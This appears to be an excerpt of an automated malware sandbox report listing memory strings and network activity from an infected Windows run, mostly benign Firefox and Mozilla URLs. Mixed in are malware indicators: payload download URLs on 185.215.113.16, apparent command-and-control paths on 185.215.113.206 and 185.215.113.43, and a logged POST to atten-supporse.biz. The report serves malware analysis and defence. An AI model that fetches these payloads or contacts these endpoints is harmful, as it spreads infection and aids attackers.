Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4482965754.00000253A2003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4482965754.00000253A2003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4482965754.00000253A2003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4500503968.00000253A424E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3FFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4497409881.00000253A3E91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4498274385.00000253A3FFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4495762055.00000253A2FDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4497409881.00000253A3E91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: firefox.exe, 0000001A.00000002.4482965754.00000253A2094000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000001.00000002.4125953061.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000001.00000002.4125953061.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6ded(
Source: skotes.exe, 00000001.00000002.4125953061.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exep1
Source: skotes.exe, 00000001.00000002.4125953061.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exesHHK
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe4c61395d7f0
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exec6139ed
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeD
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000001D.00000002.4126851506.000000000175B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000000B.00000002.3970121321.00000000017F4000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000000B.00000002.3970121321.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000001D.00000002.4126851506.00000000017B7000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000001D.00000002.4126851506.000000000175B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000001D.00000002.4126851506.00000000017B7000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000001D.00000002.4126851506.000000000175B000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000001D.00000002.4126851506.00000000017CA000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000001D.00000002.4126851506.000000000179B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.00000000017AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/h
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/i
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.00000000017AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2064
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Local
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ViewSizePreferences.SourceAumid
Source: skotes.exe, 00000001.00000002.4125953061.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000001.00000002.4125953061.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php0363001
Source: skotes.exe, 00000001.00000002.4125953061.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7V
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php=
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpeE
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A445F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4505575611.00000253A49C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.4507098040.00000253A57BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.4509133768.00000253A59E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html#
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlunavailable:FEATURE_FAILURE_D2D_D3D11_COMPblocklisted:
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.4509133768.00000253A59E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.comP
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001A.00000002.4220564232.000002539DD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001A.00000002.4220564232.000002539DD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#resource://gre/modules/XPCOMUtils.sys.mjs
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#Items
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#Unique
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatmenthttp://mozilla.org/#/properties/localizations/anyOf
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabledresource://messaging-system/targeting/
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdhttp://mozilla.org/#/propert
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/featurehttp://mozilla.org/#/proper
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratioTotal
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
